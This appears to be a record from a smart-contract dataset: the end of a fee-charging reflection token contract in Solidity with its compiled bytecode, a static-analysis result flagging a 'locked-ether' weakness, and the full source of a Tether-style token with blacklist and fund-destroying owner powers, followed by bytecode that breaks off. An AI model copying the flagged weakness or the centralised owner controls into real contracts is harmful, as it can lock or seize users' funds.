}
function includeInFee(address account) public onlyOwner() {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function setTaxFeePercent(uint256 taxFee) external onlyOwner() {
_taxFee = taxFee;
emit UpdatedTaxFee(_taxFee);
}
function setCharityFeePercent(uint256 charityFee) external onlyOwner() {
_charityFee = charityFee;
emit UpdatedCharityFee(_charityFee);
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _charityFee == 0) return;
_taxFee = 0;
_charityFee = 0;
}
function restoreAllFee() private {
_taxFee = 20;
_charityFee = 30;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tCharity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeCharity(tCharity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeCharity(uint256 tCharity) private {
uint256 currentRate = _getRate();
uint256 rCharity = tCharity.mul(currentRate);
_rOwned[_charityAddress] = _rOwned[_charityAddress].add(rCharity);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tCharity) =
_getTValues(tAmount, _taxFee, _charityFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tCharity, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCharity);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 CharityFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(1000);
uint256 tCharity = tAmount.mul(CharityFee).div(1000);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tCharity);
return (tTransferAmount, tFee, tCharity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tCharity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rCharity = tCharity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rCharity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80635342acb4116100a0578063a9059cbb11610064578063a9059cbb14610347578063ae5a17a714610367578063af41063b14610387578063dd62ed3e146103a7578063ea2f0b37146103ed57600080fd5b80635342acb41461028f57806370a08231146102c8578063715018a6146102e85780638da5cb5b146102fd57806395d89b411461031b57600080fd5b80631ad06393116100e75780631ad06393146101e157806323b872dd14610213578063313ce56714610233578063437823ec1461024f5780634549b0391461026f57600080fd5b8063061c82d01461012457806306fdde0314610146578063095ea7b31461018c57806318160ddd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5061014461013f3660046110c1565b61040d565b005b34801561015257600080fd5b5060408051808201909152600b81526a2232b73a34b9ba21b7b4b760a91b60208201525b6040516101839190611101565b60405180910390f35b34801561019857600080fd5b506101ac6101a7366004611096565b61047c565b6040519015158152602001610183565b3480156101c857600080fd5b50670cc80c9ece2280005b604051908152602001610183565b3480156101ed57600080fd5b50600a546001600160a01b03165b6040516001600160a01b039091168152602001610183565b34801561021f57600080fd5b506101ac61022e366004611056565b610493565b34801561023f57600080fd5b5060405160098152602001610183565b34801561025b57600080fd5b5061014461026a366004611002565b6104fc565b34801561027b57600080fd5b506101d361028a3660046110d9565b61057a565b34801561029b57600080fd5b506101ac6102aa366004611002565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102d457600080fd5b506101d36102e3366004611002565b61060d565b3480156102f457600080fd5b5061014461062f565b34801561030957600080fd5b506000546001600160a01b03166101fb565b34801561032757600080fd5b506040805180820190915260038152622222a760e91b6020820152610176565b34801561035357600080fd5b506101ac610362366004611096565b6106a3565b34801561037357600080fd5b506101ac610382366004611002565b6106b0565b34801561039357600080fd5b506101446103a23660046110c1565b610700565b3480156103b357600080fd5b506101d36103c236600461101e565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103f957600080fd5b50610144610408366004611002565b61075f565b6000546001600160a01b031633146104405760405162461bcd60e51b815260040161043790611154565b60405180910390fd5b60088190556040518181527f233e2dcea3eafa0ce36006b88f8c0bb042b3652ce28cb885b662ea8ef850554a906020015b60405180910390a150565b60006104893384846107da565b5060015b92915050565b60006104a08484846108fe565b6104f284336104ed85604051806060016040528060288152602001611226602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610a83565b6107da565b5060019392505050565b6000546001600160a01b031633146105265760405162461bcd60e51b815260040161043790611154565b6001600160a01b038116600081815260056020908152604091829020805460ff1916600117905590519182527f58c3e0504c69d3a92726966f152a771e0f8f6ad4daca1ae9055a38aba1fd2b629101610471565b6000670cc80c9ece2280008311156105d45760405162461bcd60e51b815260206004820152601f60248201527f416d6f756e74206d757374206265206c657373207468616e20737570706c79006044820152606401610437565b816105f35760006105e484610abd565b5093955061048d945050505050565b60006105fe84610abd565b5092955061048d945050505050565b6001600160a01b03811660009081526002602052604081205461048d90610b1a565b6000546001600160a01b031633146106595760405162461bcd60e51b815260040161043790611154565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006104893384846108fe565b600080546001600160a01b031633146106db5760405162461bcd60e51b815260040161043790611154565b50600a80546001600160a01b0383166001600160a01b03199091161790556001919050565b6000546001600160a01b0316331461072a5760405162461bcd60e51b815260040161043790611154565b60098190556040518181527fba717e1b5984cd8de4e577ee1b04d9c10a9744138e38841a1cb6d4403bebadd090602001610471565b6000546001600160a01b031633146107895760405162461bcd60e51b815260040161043790611154565b6001600160a01b038116600081815260056020908152604091829020805460ff1916905590519182527f4f6a6b6efe34ec6478021aa9fb7f6980e78ea3a10c74074a8ce49d5d3ebf1f7e9101610471565b6001600160a01b03831661083c5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610437565b6001600160a01b03821661089d5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610437565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109625760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610437565b6001600160a01b0382166109c45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610437565b60008111610a265760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610437565b6001600160a01b03831660009081526005602052604090205460019060ff1680610a6857506001600160a01b03831660009081526005602052604090205460ff165b15610a71575060005b610a7d84848484610b9e565b50505050565b60008184841115610aa75760405162461bcd60e51b81526004016104379190611101565b506000610ab484866111e0565b95945050505050565b6000806000806000806000806000610ada8a600854600954610bca565b9250925092506000610aea610c21565b90506000806000610afd8e878787610c44565b919e509c509a509598509396509194505050505091939550919395565b6000600654821115610b815760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610437565b6000610b8b610c21565b9050610b978382610c94565b9392505050565b80610bab57610bab610cd6565b610bb6848484610cf9565b80610a7d57610a7d6014600855601e600955565b6000808080610be56103e8610bdf8989610df0565b90610c94565b90506000610bf96103e8610bdf8a89610df0565b90506000610c1182610c0b8b86610e6f565b90610e6f565b9992985090965090945050505050565b6000806000610c2e610eb1565b9092509050610c3d8282610c94565b9250505090565b6000808080610c538886610df0565b90506000610c618887610df0565b90506000610c6f8888610df0565b90506000610c8182610c0b8686610e6f565b939b939a50919850919650505050505050565b6000610b9783836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610ef1565b600854158015610ce65750600954155b15610ced57565b60006008819055600955565b600080600080600080610d0b87610abd565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150610d3d9087610e6f565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054610d6c9086610f1f565b6001600160a01b038916600090815260026020526040902055610d8e81610f7e565b610d988483610fde565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051610ddd91815260200190565b60405180910390a3505050505050505050565b600082610dff5750600061048d565b6000610e0b83856111c1565b905082610e1885836111a1565b14610b975760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610437565b6000610b9783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610a83565b6006546000908190670cc80c9ece228000610ecc8282610c94565b821015610ee857505060065492670cc80c9ece22800092509050565b90939092509050565b60008183610f125760405162461bcd60e51b81526004016104379190611101565b506000610ab484866111a1565b600080610f2c8385611189565b905083811015610b975760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610437565b6000610f88610c21565b90506000610f968383610df0565b600a546001600160a01b0316600090815260026020526040902054909150610fbe9082610f1f565b600a546001600160a01b0316600090815260026020526040902055505050565b600654610feb9083610e6f565b600655600754610ffb9082610f1f565b6007555050565b600060208284031215611013578081fd5b8135610b978161120d565b60008060408385031215611030578081fd5b823561103b8161120d565b9150602083013561104b8161120d565b809150509250929050565b60008060006060848603121561106a578081fd5b83356110758161120d565b925060208401356110858161120d565b929592945050506040919091013590565b600080604083850312156110a8578182fd5b82356110b38161120d565b946020939093013593505050565b6000602082840312156110d2578081fd5b5035919050565b600080604083850312156110eb578182fd5b823591506020830135801515811461104b578182fd5b6000602080835283518082850152825b8181101561112d57858101830151858201604001528201611111565b8181111561113e5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000821982111561119c5761119c6111f7565b500190565b6000826111bc57634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156111db576111db6111f7565b500290565b6000828210156111f2576111f26111f7565b500390565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461122257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081b963ceb0cb302c306133a6a3b508758fc293360d32140718cab5e89e3d21cd64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 8,913 |
0x6c60f4e9425de0b860f08273c13c89f41152548c
|
pragma solidity ^0.4.17;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public _totalSupply;
function totalSupply() public constant returns (uint);
function balanceOf(address who) public constant returns (uint);
function transfer(address to, uint value) public;
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint);
function transferFrom(address from, address to, uint value) public;
function approve(address spender, uint value) public;
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is Ownable, ERC20Basic {
using SafeMath for uint;
mapping(address => uint) public balances;
// additional variables for use if transaction fees ever became necessary
uint public basisPointsRate = 0;
uint public maximumFee = 0;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
require(!(msg.data.length < size + 4));
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) public onlyPayloadSize(2 * 32) {
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
uint sendAmount = _value.sub(fee);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(msg.sender, owner, fee);
}
Transfer(msg.sender, _to, sendAmount);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based oncode by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) public allowed;
uint public constant MAX_UINT = 2**256 - 1;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint _value) public onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) throw;
uint fee = (_value.mul(basisPointsRate)).div(10000);
if (fee > maximumFee) {
fee = maximumFee;
}
if (_allowance < MAX_UINT) {
allowed[_from][msg.sender] = _allowance.sub(_value);
}
uint sendAmount = _value.sub(fee);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(sendAmount);
if (fee > 0) {
balances[owner] = balances[owner].add(fee);
Transfer(_from, owner, fee);
}
Transfer(_from, _to, sendAmount);
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
Unpause();
}
}
contract BlackList is Ownable, BasicToken {
/////// Getters to allow the same blacklist to be used also by other contracts (including upgraded Tether) ///////
function getBlackListStatus(address _maker) external constant returns (bool) {
return isBlackListed[_maker];
}
function getOwner() external constant returns (address) {
return owner;
}
mapping (address => bool) public isBlackListed;
function addBlackList (address _evilUser) public onlyOwner {
isBlackListed[_evilUser] = true;
AddedBlackList(_evilUser);
}
function removeBlackList (address _clearedUser) public onlyOwner {
isBlackListed[_clearedUser] = false;
RemovedBlackList(_clearedUser);
}
function destroyBlackFunds (address _blackListedUser) public onlyOwner {
require(isBlackListed[_blackListedUser]);
uint dirtyFunds = balanceOf(_blackListedUser);
balances[_blackListedUser] = 0;
_totalSupply -= dirtyFunds;
DestroyedBlackFunds(_blackListedUser, dirtyFunds);
}
event DestroyedBlackFunds(address _blackListedUser, uint _balance);
event AddedBlackList(address _user);
event RemovedBlackList(address _user);
}
contract UpgradedStandardToken is StandardToken{
// those methods are called by the legacy contract
// and they must ensure msg.sender to be the contract address
function transferByLegacy(address from, address to, uint value) public;
function transferFromByLegacy(address sender, address from, address spender, uint value) public;
function approveByLegacy(address from, address spender, uint value) public;
}
contract UTCToken is Pausable, StandardToken, BlackList {
string public name;
string public symbol;
uint public decimals;
address public upgradedAddress;
bool public deprecated;
// The contract can be initialized with a number of tokens
// All the tokens are deposited to the owner address
//
// @param _balance Initial supply of the contract
// @param _name Token Name
// @param _symbol Token symbol
// @param _decimals Token decimals
function UTCToken(uint _initialSupply, string _name, string _symbol, uint _decimals) public {
_totalSupply = _initialSupply;
name = _name;
symbol = _symbol;
decimals = _decimals;
balances[owner] = _initialSupply;
deprecated = false;
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transfer(address _to, uint _value) public whenNotPaused {
require(!isBlackListed[msg.sender]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferByLegacy(msg.sender, _to, _value);
} else {
return super.transfer(_to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function transferFrom(address _from, address _to, uint _value) public whenNotPaused {
require(!isBlackListed[_from]);
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).transferFromByLegacy(msg.sender, _from, _to, _value);
} else {
return super.transferFrom(_from, _to, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function balanceOf(address who) public constant returns (uint) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).balanceOf(who);
} else {
return super.balanceOf(who);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function approve(address _spender, uint _value) public onlyPayloadSize(2 * 32) {
if (deprecated) {
return UpgradedStandardToken(upgradedAddress).approveByLegacy(msg.sender, _spender, _value);
} else {
return super.approve(_spender, _value);
}
}
// Forward ERC20 methods to upgraded contract if this one is deprecated
function allowance(address _owner, address _spender) public constant returns (uint remaining) {
if (deprecated) {
return StandardToken(upgradedAddress).allowance(_owner, _spender);
} else {
return super.allowance(_owner, _spender);
}
}
// deprecate current contract in favour of a new one
function deprecate(address _upgradedAddress) public onlyOwner {
deprecated = true;
upgradedAddress = _upgradedAddress;
Deprecate(_upgradedAddress);
}
// deprecate current contract if favour of a new one
function totalSupply() public constant returns (uint) {
if (deprecated) {
return StandardToken(upgradedAddress).totalSupply();
} else {
return _totalSupply;
}
}
// Issue a new amount of tokens
// these tokens are deposited into the owner address
//
// @param _amount Number of tokens to be issued
function issue(uint amount) public onlyOwner {
require(_totalSupply + amount > _totalSupply);
require(balances[owner] + amount > balances[owner]);
balances[owner] += amount;
_totalSupply += amount;
Issue(amount);
}
// Redeem tokens.
// These tokens are withdrawn from the owner address
// if the balance must be enough to cover the redeem
// or the call will fail.
// @param _amount Number of tokens to be issued
function redeem(uint amount) public onlyOwner {
require(_totalSupply >= amount);
require(balances[owner] >= amount);
_totalSupply -= amount;
balances[owner] -= amount;
Redeem(amount);
}
function setParams(uint newBasisPoints, uint newMaxFee) public onlyOwner {
// Ensure transparency by hardcoding limit beyond which fees can never be added
require(newBasisPoints < 20);
require(newMaxFee < 50);
basisPointsRate = newBasisPoints;
maximumFee = newMaxFee.mul(10**decimals);
Params(basisPointsRate, maximumFee);
}
// Called when new token are issued
event Issue(uint amount);
// Called when tokens are redeemed
event Redeem(uint amount);
// Called when contract is deprecated
event Deprecate(address newAddress);
// Called if contract ever adds fees
event Params(uint feeBasisPoints, uint maxFee);
}
|
0x608060405260043610610196576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde031461019b5780630753c30c1461022b578063095ea7b31461026e5780630e136b19146102bb5780630ecb93c0146102ea57806318160ddd1461032d57806323b872dd1461035857806326976e3f146103c557806327e235e31461041c578063313ce56714610473578063353907141461049e5780633eaaf86b146104c95780633f4ba83a146104f457806359bf1abe1461050b5780635c658165146105665780635c975abb146105dd57806370a082311461060c5780638456cb5914610663578063893d20e81461067a5780638da5cb5b146106d157806395d89b4114610728578063a9059cbb146107b8578063c0324c7714610805578063cc872b661461083c578063db006a7514610869578063dd62ed3e14610896578063dd644f721461090d578063e47d606014610938578063e4997dc514610993578063e5b5019a146109d6578063f2fde38b14610a01578063f3bdc22814610a44575b600080fd5b3480156101a757600080fd5b506101b0610a87565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101f05780820151818401526020810190506101d5565b50505050905090810190601f16801561021d5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561023757600080fd5b5061026c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b25565b005b34801561027a57600080fd5b506102b9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c42565b005b3480156102c757600080fd5b506102d0610d95565b604051808215151515815260200191505060405180910390f35b3480156102f657600080fd5b5061032b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da8565b005b34801561033957600080fd5b50610342610ec1565b6040518082815260200191505060405180910390f35b34801561036457600080fd5b506103c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610fa9565b005b3480156103d157600080fd5b506103da61118e565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561042857600080fd5b5061045d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111b4565b6040518082815260200191505060405180910390f35b34801561047f57600080fd5b506104886111cc565b6040518082815260200191505060405180910390f35b3480156104aa57600080fd5b506104b36111d2565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b506104de6111d8565b6040518082815260200191505060405180910390f35b34801561050057600080fd5b506105096111de565b005b34801561051757600080fd5b5061054c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061129c565b604051808215151515815260200191505060405180910390f35b34801561057257600080fd5b506105c7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112f2565b6040518082815260200191505060405180910390f35b3480156105e957600080fd5b506105f2611317565b604051808215151515815260200191505060405180910390f35b34801561061857600080fd5b5061064d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061132a565b6040518082815260200191505060405180910390f35b34801561066f57600080fd5b50610678611451565b005b34801561068657600080fd5b5061068f611511565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156106dd57600080fd5b506106e661153a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561073457600080fd5b5061073d61155f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561077d578082015181840152602081019050610762565b50505050905090810190601f1680156107aa5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156107c457600080fd5b50610803600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506115fd565b005b34801561081157600080fd5b5061083a60048036038101908080359060200190929190803590602001909291905050506117ac565b005b34801561084857600080fd5b5061086760048036038101908080359060200190929190505050611891565b005b34801561087557600080fd5b5061089460048036038101908080359060200190929190505050611a88565b005b3480156108a257600080fd5b506108f7600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611c1b565b6040518082815260200191505060405180910390f35b34801561091957600080fd5b50610922611d78565b6040518082815260200191505060405180910390f35b34801561094457600080fd5b50610979600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d7e565b604051808215151515815260200191505060405180910390f35b34801561099f57600080fd5b506109d4600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611d9e565b005b3480156109e257600080fd5b506109eb611eb7565b6040518082815260200191505060405180910390f35b348015610a0d57600080fd5b50610a42600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611edb565b005b348015610a5057600080fd5b50610a85600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611fb0565b005b60078054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610b1d5780601f10610af257610100808354040283529160200191610b1d565b820191906000526020600020905b815481529060010190602001808311610b0057829003601f168201915b505050505081565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b8057600080fd5b6001600a60146101000a81548160ff02191690831515021790555080600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fcc358699805e9a8b7f77b522628c7cb9abd07d9efb86b6fb616af1609036a99e81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b604060048101600036905010151515610c5a57600080fd5b600a60149054906101000a900460ff1615610d8557600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663aee92d333385856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050600060405180830381600087803b158015610d6857600080fd5b505af1158015610d7c573d6000803e3d6000fd5b50505050610d90565b610d8f8383612134565b5b505050565b600a60149054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610e0357600080fd5b6001600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f42e160154868087d6bfdc0ca23d96a1c1cfa32f1b72ba9ba27b69b98a0d819dc81604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390a150565b6000600a60149054906101000a900460ff1615610fa057600a60009054906101000a900473f